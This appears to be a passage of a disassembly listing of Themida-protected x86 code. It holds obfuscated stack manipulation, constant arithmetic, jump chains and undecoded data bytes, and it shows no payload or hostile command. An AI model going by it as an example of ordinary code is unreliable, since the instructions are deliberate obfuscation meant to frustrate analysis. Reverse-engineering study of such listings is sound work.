		dd 713B2D5Dh, 8E9240Eh,	58000029h, 66C0B60Fh, 0E924148Bh
		dd 351h, 62CBF57h, 0EF813741h, 11EF5094h, 74C5BE56h, 0F729C617h
		dd 5FF9895Eh, 0D0E98141h, 0E95F3A40h, 1F7Ah
; ---------------------------------------------------------------------------


loc_58DCD4:				; CODE XREF: Themida_:00594BB8j
		push	dword ptr [esp]
		jmp	loc_591449
; ---------------------------------------------------------------------------
		dd 4E7A0566h, 22BE6656h, 0CE81664Eh, 0A1E95383h, 8900000Eh
		dd 4BF57E6h, 1000000h, 6BC9E9FEh, 1C890000h, 0E9E38924h
		dd 0FFFFE118h, 0E68956ACh, 4C681h, 0EE810000h, 4, 5C243487h
		dd 0CDCE9h, 5BD80000h, 4DF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_58DD29:				; CODE XREF: Themida_:00594375j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 54A12CD3h
		push	ebp
		push	1
		jmp	loc_58E1E7
; ---------------------------------------------------------------------------
		db 0BDh, 80h, 56h
		dd 0C3810539h, 1BEC3AE4h, 0EB81EB29h, 1BEC3AE4h, 3A26E9h
		dd 5EF10100h, 8704E983h, 545C240Ch, 0E924048Fh,	35E8h
		dd 2414895Ch, 12E9h, 246C0100h,	24F1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58DD8A:				; CODE XREF: Themida_:0058952Dj
		add	[edx], ebx
		pop	edx
		pop	ebx
		jmp	loc_58C2F7
; ---------------------------------------------------------------------------
		db 68h
		dd 6A2Fh, 4826E9h
		db 0
; ---------------------------------------------------------------------------


loc_58DD9D:				; CODE XREF: Themida_:00591D8Dj
		pop	edx
		add	esp, 4
		jmp	loc_59566F
; ---------------------------------------------------------------------------
		dw 0D4F6h
		dd 5058E688h, 0E9520FB4h, 4C47h, 24048F54h, 986855h, 0F5E90000h
		dd 56000043h, 6752C3BEh, 161EE914h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58DDCE:				; CODE XREF: Themida_:00595435j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_591547
; ---------------------------------------------------------------------------


loc_58DDD6:				; CODE XREF: Themida_:00594CCFj
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_591772
; ---------------------------------------------------------------------------
aFyrKska	db 'fYR²Šéka',0
		align 2
		dd offset loc_435367+1
		dw 8900h
		dd 4BB241Ch, 81000000h,	0A22A71C6h, 80EE8151h, 1134A67h
		dd 80C681DEh, 52134A67h, 5466BF57h, 0FA896450h,	0FFF65CE9h
		dd 0F7E8D1FFh, 5346E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58DE3E:				; CODE XREF: Themida_:0058ADD1j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_593E67
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 7E8B55C5h, 750AC381h, 0EB812238h, 97917F6h, 5F2434FFh
		dd 4C481h, 0ADE90000h, 89000074h, 26B62414h, 5BE9CEFEh
		dd 0BFFFFFD0h, 7177377Bh, 634EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58DE99:				; CODE XREF: Themida_:0058D2EFj
		pop	eax
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	1160h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	6DC2h
		mov	[esp], ecx
		mov	ecx, 38CA7B03h
		shl	ecx, 5
		dec	ecx
		add	ecx, 8A5F9C1h
		push	ebp
		mov	ebp, 3FED3506h
		sub	ecx, ebp
		pop	ebp
		push	4A06h
		jmp	loc_58BA44
; ---------------------------------------------------------------------------


loc_58DEE7:				; CODE XREF: Themida_:0058DBA4j
		pop	ebx
		add	bl, dh
		mov	edx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58EF63
; ---------------------------------------------------------------------------


loc_58DF01:				; CODE XREF: Themida_:0059266Aj
		push	esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	354h
		mov	[esp], ebp
		jmp	loc_590E35
; ---------------------------------------------------------------------------
		dw 0C87h
aS_4		db '$é;=',0
		align 2
		dw 0D366h
		dd 0E99C2404h, 0FFFFB532h, 7252C381h, 0F3815242h, 7A714980h
		dd 505BDA01h, 5A0F75B8h, 0AF9255Ah, 0C3354AEDh,	133EC21h
		dd 24048BC2h, 5104C483h, 0C93416B9h, 0EAC28117h, 29412051h
		dd 0EAEA81CAh, 59412051h, 0FFB4F1E9h, 88F9B6FFh, 0DFFFE9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DF7A:				; CODE XREF: Themida_:005905BAj
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_594F78
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 98E95324h, 8BFFFFC0h, 0AAE92424h, 0C100002Dh, 685503EAh
		dd 717D6FF9h, 0FFD4B4E9h, 0D830ACFFh, 512468h, 241C8900h
		dd 75CC68h, 24048900h, 0CC806EB4h, 6BB652DAh, 0E906EEC0h
		dd 5D51h, 3A3DA568h, 0ED815D2Eh, 1271272Ah, 815DEA89h
		dd 0C22986E2h, 0A5E9504Dh, 51FFFFE8h, 0BA52E189h, 4CCE1EC3h
		dd 1AB6C281h, 0E28105D0h, 36742609h, 25BEE9h, 4EC8300h
		dd 3B3BE9h, 20AC6800h, 24890000h, 24048324h, 2434FF04h
		dd 4C4815Eh, 53000000h,	4BBh, 66E2E900h, 815B0000h, 0DA5D76EDh
		dd 81DD0143h, 0DA5D76C5h, 37E95B43h, 5B000048h,	0FFB4A3E9h
		dd 0E9F901FFh, 0FFFFFF3Eh
; ---------------------------------------------------------------------------


loc_58E04C:				; CODE XREF: Themida_:005902BFj
		sub	esi, ecx
		pop	ecx
		push	edi
		jmp	loc_5942BE
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4C58300h, 5C242C87h, 7BEEB850h, 0EF0514A1h, 532BC217h
		dd 4E3060BBh, 73742D01h, 0D8297459h, 0FFF62AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E081:				; CODE XREF: Themida_:0058C224j
		push	esi
		push	11BA5E43h
		pop	esi
		push	esi
		not	dword ptr [esp]
		jmp	loc_58D74A
; ---------------------------------------------------------------------------
		align 2
		dw 58E1h
		dd 8059CB88h, 0B4507DF3h, 1C4802Fh, 8062F480h, 0EC802FC4h
		dd 58E32880h, 8005E3C0h, 0C38045F3h, 0B050533Ch, 3803E961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E0BE:				; CODE XREF: Themida_:00590DFFj
		add	esp, 4
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ebx
		push	2B93h
		mov	[esp], esi
		mov	esi, 7C1E3220h
		sub	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_58E56A
; ---------------------------------------------------------------------------


loc_58E0E3:				; CODE XREF: Themida_:0058CF4Dj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58F79B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3BA968h, 24048900h, 468h, 0C5015800h, 5724048Bh, 0C781E789h
		dd 4, 340CB850h, 0AE355522h, 0C102B04Dh, 0F12504E8h, 57D1924h
		dd 0FAE6DB74h, 0BE9C701h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E12F:				; CODE XREF: Themida_:0059244Cj
		mov	[esp], ebp
		mov	ebp, 3CFE6F52h
		shl	ebp, 3
		shr	ebp, 1
		sub	ebp, 209103FBh
		not	ebp
		sub	esp, 4
		jmp	loc_5953CA
; ---------------------------------------------------------------------------


loc_58E14F:				; CODE XREF: Themida_:00595047j
		add	esp, 4
		push	1AEh
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		jmp	loc_58DC41
; ---------------------------------------------------------------------------
		dw 68h
		dd 8B000000h, 5451241Ch, 3192E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E172:				; CODE XREF: Themida_:0058D525j
		not	eax
		jmp	loc_591072
; ---------------------------------------------------------------------------
		db 34h,	0DBh, 0F6h
aSO_0		db 'Ø,ÖéÞO',0
		align 4
		dd 826290BEh, 0CB3E979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E18E:				; CODE XREF: Themida_:0058CCFEj
		dec	ecx
		xor	ecx, 1F6241FAh
		inc	ecx
		and	ecx, 44E47862h
		jmp	loc_589826
; ---------------------------------------------------------------------------
		db 5Dh,	51h, 0B9h
		dd 4, 0C8BCF29h, 0C9E8E924h, 4BFFFFFh, 1000000h, 5F04247Ch
		dd 0FFDFAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E1C1:				; CODE XREF: Themida_:00593DA6j
		pop	esi
		mov	ebx, 59236CEEh
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 24CF6B7Dh
		add	ebx, edi
		push	edx
		jmp	loc_593115
; ---------------------------------------------------------------------------
		db 80h,	0F6h, 0Fh
		dd 45E9F328h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E1E7:				; CODE XREF: Themida_:0058DD48j
		push	dword ptr [esp]
		jmp	loc_5950D1
; ---------------------------------------------------------------------------


loc_58E1EF:				; CODE XREF: Themida_:00590AD7j
		sub	edx, 349AD41Ch
		push	ecx
		jmp	loc_5950C7
; ---------------------------------------------------------------------------
		db 89h
		dd 468241Ch, 0E9000000h, 0FFFFFE22h
; ---------------------------------------------------------------------------


loc_58E208:				; CODE XREF: Themida_:00592268j
		mov	eax, 39053F4Ah
		shl	eax, 5
		jmp	loc_592745
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 2
		dd 87000000h, 14E9241Ch, 68FFFFCCh, 3BA9h, 68243C89h, 699Ah
		dd 81242489h, 42404h, 515F0000h, 0E627FCB9h, 6C18165h
		dd 0F70BE759h, 0FAF181D9h, 18E327Eh, 0C78359CFh, 74FF5704h
		dd 80E90424h, 9000068h,	3E95BDDh, 58FFFFB2h, 0E9241C87h
		dd 0FFFFD97Dh, 8FC0B60Fh, 0E7E98704h, 0E9FFFFB1h, 0FFFFB1E2h
; ---------------------------------------------------------------------------


loc_58E280:				; CODE XREF: Themida_:005918BCj
		mov	esi, 47265005h
		or	esi, 388A0459h
		not	esi
		push	ebx
		push	ebp
		mov	ebp, 5BD51802h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 5A317501h
		inc	ebx
		jmp	loc_59088F
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C4h, 24248B24h, 56F3E9h, 7CF18000h, 0FEC0F180h
		dd 80C9FEC9h, 0F18078E9h, 59CE884Bh, 6980E9h, 1F613500h
		dd 0C5314579h, 0FDC18158h, 110150Fh, 10E8E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E2E6:				; CODE XREF: Themida_:005943A5j
		pop	ebx
		add	ebx, 7EA17BC2h
		pop	eax
		jmp	loc_58F7F4
; ---------------------------------------------------------------------------


loc_58E2F3:				; CODE XREF: Themida_:00590D04j
		mov	edi, 1Ch
		push	eax
		jmp	loc_58EF6B
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 5AD3001Fh, 5006EBC0h, 0E96AB353h, 0FFFFD24Eh, 505E0C1h
		dd 0FFFFFFFFh, 174DC32Dh, 42DE351Ch, 0C501F0B2h, 320A6858h
		dd 0C890000h, 0A3EAB924h, 0CD317644h, 83240C8Bh, 0C18104C4h
		dd 0C231DF0h, 0E981E901h, 0C231DF0h, 0FBD0E95Dh, 0C380FFFFh
		dd 81C32855h, 4ECh, 240C8900h, 4A5AE950h, 0EE810000h, 1CC536Ah
		dd 755EB81h, 0EB810DF4h, 85F2176h, 0FFD10EE9h, 4C481FFh
		dd 52000000h, 0B13573BAh, 814A424Fh, 546704EAh,	0D4B8502Ch
		dd 52CE960h, 0F1BAF29Dh, 48BC601h, 4C48324h, 0A1E9D629h
		dd 5500003Fh, 6866EEBDh, 0F5E5E962h, 8956FFFFh,	4C681E6h
		dd 81000000h, 4C6h, 24348700h, 919685Ch, 4890000h, 49C86824h
		dd 0E9585EA9h, 0FFFFC557h, 4C281h, 0EC830000h, 240C8904h
		dd 0E12B850h, 6853507Bh, 8B96DFFh, 11C3815Bh, 0E947C1A0h
		dd 0FFFFBF2Fh, 7BDB685Bh, 0C890000h, 0E92CB124h, 4F29h
; ---------------------------------------------------------------------------


loc_58E40C:				; CODE XREF: Themida_:0058B2BAj
		add	edi, ebx
		pop	ebx
		jmp	loc_5933A2
; ---------------------------------------------------------------------------
		dd 971A54B9h, 59C88901h, 6BE0BF57h, 0F8311902h,	3CBE565Fh
		dd 8155B361h, 363E8CCEh, 7E6C14Eh, 6090E9h, 4E95E00h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58E43F:				; CODE XREF: Themida_:0059471Fj
		push	edi
		jmp	loc_58D79F
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 71h
		dd 291A3E0Dh, 2C875FFDh, 1C895C24h, 0D119E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E45A:				; CODE XREF: Themida_:00592849j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58DBFD
; ---------------------------------------------------------------------------
		db 83h
		dd 0E1C104C4h, 0D1C6E903h, 0D989FFFFh, 0EEF1815Bh, 12E9E00h
		dd 0C32959CBh, 4319EB81h, 4C680D3Ch, 0E9000061h, 2EC0h
		dd 7C015A5Fh, 34FF0424h, 4CE95F24h, 0B6FFFFFBh,	50FA6899h
		dd 0C890000h, 6615B524h, 5E3C6852h, 0C890000h, 4D54E924h
		dd 0F4B10000h, 0E959CA28h, 0FFFFBF1Dh, 0B6241489h, 0A1E680CAh
		dd 0E9ABC680h, 10A2h, 0E9241489h, 0FFFFE566h, 0D8E9F6B3h
		dd 8100005Bh, 0DE7DCBF5h, 5DE90174h, 4B850h, 0CFE90000h
		dd 5A000014h, 2319E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E4FA:				; CODE XREF: Themida_:0058DBF0j
		mov	ebx, 45DA4753h
		shl	ebx, 2
		shl	ebx, 8
		sub	ebx, 2EAE51A6h
		push	edi
		mov	edi, 125C43CAh
		neg	edi
		dec	edi
		neg	edi
		sub	edi, 0EBC73A02h
		jmp	loc_590676
; ---------------------------------------------------------------------------
		db 42h,	55h, 0BDh
		dd 0E5E721Dh, 815DEA09h, 0B2A219C2h, 5AD001E4h,	8324148Bh
		dd 0EC8104C4h, 4, 0BF243C89h, 2, 9CE9F801h, 0FF00006Ah
		dd 0E9042474h, 2E65h
; ---------------------------------------------------------------------------


loc_58E558:				; CODE XREF: Themida_:00591CB8j
		mov	ebp, 0EBA16B5h
		push	38A5h
		mov	[esp], edi
		jmp	loc_58FAF1
; ---------------------------------------------------------------------------


loc_58E56A:				; CODE XREF: Themida_:0058E0DEj
		add	esp, 4
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_589CC2
; ---------------------------------------------------------------------------
		db 1
		dd 240C8BCBh, 81E18951h, 4C1h, 4C18100h, 87000000h, 535C240Ch
		dd 0FFC31FE9h, 0C32966FFh, 6EEB8166h, 4EC8125h,	89000000h
		dd 0B8662404h, 2D6677CEh, 40660001h, 25ABE957h,	875E0000h
		dd 248B243Ch, 48B6624h,	511AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E5CA:				; CODE XREF: Themida_:0058F29Cj
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 0A1C0767h
		jmp	loc_592ADA
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 56E90000h, 66FFFFE2h, 667D3168h
		dd 0E9240489h, 0FFFFAE6Ah, 0C781E789h, 4, 4618E9h
		db 0
; ---------------------------------------------------------------------------


loc_58E605:				; CODE XREF: Themida_:00591BE2j
		mov	esp, [esp]
		jmp	loc_59431E
; ---------------------------------------------------------------------------
		db 0BFh, 0B7h, 49h
		dd 0EF816BCAh, 69E71FA0h, 1DBAE951h, 0C870000h,	89575C24h
		dd 0E4BD55E7h, 0C16D2C01h, 90E906EDh, 83000072h, 0D02904C4h
		dd 8124148Bh, 4C4h, 27452D00h, 0A30522FFh, 2D228976h, 4B5E667Ah
		dd 0F6E9D829h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E657:				; CODE XREF: Themida_:0059566Aj
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		jmp	loc_58B6E4
; ---------------------------------------------------------------------------


loc_58E662:				; CODE XREF: Themida_:0058D9FBj
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_58AE08
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0B3h
		dd 81C7EDA6h, 0F9012FEAh, 55EA010Bh, 0F9012FBDh, 747E90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E686:				; CODE XREF: Themida_:0058FFA1j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59458A
; ---------------------------------------------------------------------------
		dd 0E902C683h, 5572h, 0B2D3E981h, 8952D942h, 19FBE9CAh
		dd 5E660000h, 6381E9h, 0D831AD00h, 658068h, 240C8900h
		dd 0FFBDF5E9h, 1B11BEFFh, 94E9292Fh, 51000050h,	6CE1E9h
		dd 243C8B00h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 8B24048Fh
		dd 6FE92424h, 5CFFFFADh, 0FFBACFE9h, 241C89FFh,	0CF80BCB7h
		dd 19B55193h, 293CE9h, 89515800h, 249FE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E712:				; CODE XREF: Themida_:00591EC1j
		pop	edx
		push	ebp
		jmp	loc_591672
; ---------------------------------------------------------------------------


loc_58E719:				; CODE XREF: Themida_:00595831j
		add	esp, 4
		push	esi
		mov	esi, 1
		and	eax, esi
		mov	esi, [esp]
		push	5C24h
		jmp	loc_590DB4
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 34890000h, 81E68924h, 4C6h, 58E95000h
		dd 5E000073h, 5B2DE801h, 5D59F946h, 31240433h, 4332404h
		dd 24248B24h, 0E92424D3h, 0FFFFACF6h, 0FFACF1E9h, 408BFFFh
		dd 0F93107DFh, 72A4E9h,	1EC28100h, 5D16EF7Fh, 5202C283h
		dd 0FFFDC2E9h, 3B665CFFh, 73E99CC8h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E797:				; CODE XREF: Themida_:00594419j
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 5A535186h
		push	0
		sub	[esp], esi
		pop	esi
		shl	esi, 2
		jmp	loc_58BDF4
; ---------------------------------------------------------------------------
aFzwsn		db 'fZWén+',0
		align 2


loc_58E7C2:				; CODE XREF: Themida_:0058D8BCj
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 40CD7CEBh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6D8C3D3Ch
		push	eax
		mov	eax, 210B4100h
		or	ecx, eax
		pop	eax
		jmp	loc_58AD8E
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4FF6624h, 6BE99C24h,	89FFFFACh, 4C281E2h, 83000000h
		dd 148704EAh, 24248B24h, 0FFBDA8E9h, 0B6F681FFh, 1B98615h
		dd 24348BF0h, 4C481h, 0B9510000h, 2, 0C8BC801h,	69E924h
		dd 0F0000000h, 148BBC2Ch, 4C48324h, 0FFE76DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E83D:				; CODE XREF: Themida_:0058A520j
		shl	ebx, 4
		jmp	loc_594CB5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 19BDh
; ---------------------------------------------------------------------------


loc_58E850:				; CODE XREF: Themida_:0058EB00j
		or	edx, 47D306EAh
		xor	edx, 4C3D3CE2h
		mov	eax, edx
		pop	edx
		mov	ebx, 92EB8351h
		sub	ebx, eax
		pop	eax
		and	ebx, 0F9F32EEh
		shl	ebx, 6
		xor	ebx, 0B5B61C2Ah
		push	esi
		jmp	loc_589B42
; ---------------------------------------------------------------------------
		dd 51241C89h, 0EB88C588h, 592434FFh, 81E38953h,	4C3h, 75E95000h
		dd 83FFFFE6h, 0FF5004C4h, 58042474h, 0E924048Fh, 1178h
		dd 2B951h, 0CB010000h, 241C3359h, 0E9241C31h, 1E3Ch, 0B2E9CD01h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E8C3:				; CODE XREF: Themida_:0058CDBFj
		push	ebx
		push	eax
		mov	eax, 2EED432Fh
		mov	ebx, 4F2E873Eh
		jmp	loc_58D7DE
; ---------------------------------------------------------------------------
		dd 21F6EE81h, 0CE01268Ah, 6FCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_58E8E1:				; CODE XREF: Themida_:0058FF6Cj
		sub	ebx, 67F222F3h
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_589462
; ---------------------------------------------------------------------------
		dd 58215BBBh, 6639E91Fh, 0C3010000h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_591E64
; ---------------------------------------------------------------------------
		db 66h,	21h, 0FEh
		dd 81665F66h, 66534DF6h, 6AE9F189h, 66FFFFCAh, 702FF781h
		dd 5FFA8966h, 0C8CA8166h, 0EA816638h, 0C5E9EF83h, 53FFFFE2h
		dd 8904EC83h, 6ABF243Ch, 511EFD10h, 8151F989h, 20402434h
		dd 815B7D1Bh, 1B2040F3h, 0D81BE97Dh, 0E089FFFFh, 793E9h
		dd 0D831AD00h, 78D868h,	4484E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E972:				; CODE XREF: Themida_:0058C976j
		shr	ebx, 5
		neg	ebx
		push	ecx
		mov	ecx, 0BC95AAB2h
		xor	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		pop	ebx
		add	[esp+4], eax
		jmp	loc_58BF98
; ---------------------------------------------------------------------------
aIuSxc		db '‰î]éxc',0
		align 4
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59108E
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 54241C89h, 614BE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E9B6:				; CODE XREF: Themida_:00593F99j
		add	ebp, 4
		jmp	loc_591832
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 13h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E9C7:				; CODE XREF: Themida_:00593249j
		mov	[esp], ebp
		mov	ebp, 4
		sub	ecx, 4CEE3176h
		jmp	loc_58B33D
; ---------------------------------------------------------------------------
		dd offset dword_553548+720h
		dw 8900h
		dd 0FDB9240Ch, 0C11E9953h, 0C18108E9h, 0FA957BB7h, 2D59CA29h
		dd 0F6E61DCh, 26C9E9h, 241C8900h, 0D80032B3h, 2583E9h
		dd 4C68300h, 8B243487h,	4BE92424h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EA17:				; CODE XREF: Themida_:0058CA80j
		shr	esi, 5
		or	esi, 46560BC7h
		and	esi, 18F81AD7h
		sub	esp, 4
		jmp	loc_58F007
; ---------------------------------------------------------------------------
a_jS		db '½À_¦{é²',0Dh,0
		dw 6600h
		dd 1FE99C50h, 0C0FFFFAAh, 0F48008ECh, 0E3EC80F3h, 50E9E300h
		dd 1FFFFF2h, 6799E9DDh,	8B660000h, 54522404h, 4BB535Ah
		dd 1000000h, 0B575E9DAh, 815FFFFFh, 452A4C6h, 81DE014Eh
		dd 452A4EEh, 35685B4Eh,	8900006Bh, 0BE2434h, 89000000h
		dd 2434FFF3h, 0E924348Bh, 3963h, 51563B05h, 58C7295Ch
		dd 0ACBE564Fh, 81362522h, 1736CACEh, 40B8E95Dh,	0EF010000h
		dd 243C875Dh, 5624248Bh, 3F6E58BEh, 0E9D6F729h,	5C66h
		dd 0F000B404h, 3704B42Ch, 5789E9h, 4C48300h, 4BD55h, 0E8010000h
		dd 83242C8Bh, 0C08304C4h, 24043304h, 5A35E9h, 8DC28100h
		dd 0E9042B1Fh, 623h
; ---------------------------------------------------------------------------


loc_58EAFC:				; CODE XREF: Themida_:00590F42j
		not	edx
		neg	edx
		jmp	loc_58E850
; ---------------------------------------------------------------------------
		db 0Fh,	0BFh, 0C8h
		dd 8904EC83h, 5F54243Ch, 4C781h, 0B9510000h, 4,	8759CF29h
		dd 248B243Ch, 242C8924h, 7368h,	48F5400h, 24048124h, 4
		dd 0FFD389E9h, 0CBE958FFh, 51000055h, 0EC83E189h, 24148904h
		dd 0FFAC0EE9h, 8E5C0FFh, 80DDE580h, 0EC835AC5h,	0F321E904h
		dd 8B66FFFFh, 54512404h, 4EC8159h, 89000000h, 4BF243Ch
		dd 81000000h, 0AF4D22E9h, 50F90119h, 3C62E9h, 4C48100h
		dd 0E9000000h, 4C17h, 0C3C68166h, 0F00166A9h, 0C72D665Eh
		dd 66556667h, 6654C2BDh, 5D66E801h, 0BFE95651h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EBAF:				; CODE XREF: Themida_:0058D25Cj
		mov	eax, 746A1B1Bh
		inc	eax
		not	eax
		shl	eax, 5
		jmp	loc_58FA5C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8956242Ch, 4C681E6h,	83000000h, 348704C6h, 24248B24h
		dd 2474FF52h, 48F5A04h,	3BE95C24h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58EBE3:				; CODE XREF: Themida_:00593D4Dj
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 68940CC1h
		and	ecx, 275A4EC8h
		and	ecx, 650726D2h
		xor	ecx, 788F478Dh
		push	ebp
		mov	ebp, 319B05FDh
		jmp	loc_593A49
; ---------------------------------------------------------------------------
		dd 54242C89h, 0E9242C8Bh, 0FFFFF4D9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_58CDB9
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0A1h
		dd 48FFFFC3h, 0D3D0F02Dh, 0E9C201C9h, 4E39h, 770DE981h
		dd 0D1F73DC5h, 616AC981h, 3E93893h, 6800005Dh, 416h, 5A242C89h
		dd 0EA874D5Dh, 73685153h, 0E9431058h, 4AC1h, 0F1EF815Eh
		dd 52446D7Dh, 29EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58EC85:				; CODE XREF: Themida_:0058B22Bj
		dec	byte ptr [esp]
		pushf
		jmp	loc_589462
; ---------------------------------------------------------------------------


loc_58EC8E:				; CODE XREF: Themida_:0059057Cj
		sub	edx, 54E6854h
		jmp	loc_58D6E8
; ---------------------------------------------------------------------------
		db 83h,	0E9h, 4
		dd 5C240C87h, 54243489h, 0E924348Bh, 1594h, 0E95EF521h
		dd 0FFFFEDACh, 48B665Ch, 0C7685124h, 89000069h,	4832424h
		dd 0E9590424h, 5418h
; ---------------------------------------------------------------------------


loc_58ECCC:				; CODE XREF: Themida_:00592E6Cj
		mov	esi, 0A018BA5Bh
		xor	edi, esi
		pop	esi
		jmp	loc_5906E5
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 243C8B04h, 81E68956h, 4C6h, 0CDF3E900h, 0EA81FFFFh
		dd 4FF70F21h, 344C281h,	0EA816D99h, 70C04F12h, 6490E9h
		dd 48B6600h, 0E7895724h, 427FBA52h, 0EAC1181Eh,	2CE0E903h
		dd 148B0000h, 4C48324h,	8904EC83h, 74FF243Ch, 3C8B0424h
		dd 4C48324h, 8B24048Fh,	1C892424h, 793B6824h, 80E90000h
		dd 68FFFFC8h, 72CBh, 0FF241C89h, 5B042474h, 8B24048Fh
		dd 31662424h, 0E99C2404h, 0FFFFA702h, 0BF243C89h, 270264Ch
		dd 9BE9FE89h, 0E9FFFFA8h, 0FFFFA6EEh, 0FD34EE34h, 395BE9h
		dd 0E8E38100h, 810EC443h, 254D59F3h, 81D3F706h,	9EB02CEBh
		dd 0C45EE9FFh, 0EA80FFFFh, 7E2C001h, 0CA8B050h,	2CD0F691h
		dd 58C22847h, 5D1AE9h, 4B900h, 0B9510000h, 11F80565h, 159C801h
		dd 65BF57C8h, 2911F805h, 243C8BF8h, 0FFFDB8E9h,	5DEA01FFh
		dd 2BD555Dh, 29000000h,	0FF525DEAh, 0E9042474h,	0FFFFE39Dh
		dd 21CB6856h, 525E7173h, 2853C4BAh, 0F5EA8113h,	89A1B531h
		dd 0F0315AD0h, 0C2CCE95Eh, 5BE9FFFFh, 5AFFFFA6h, 51240C8Bh
		dd 0CEEAE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


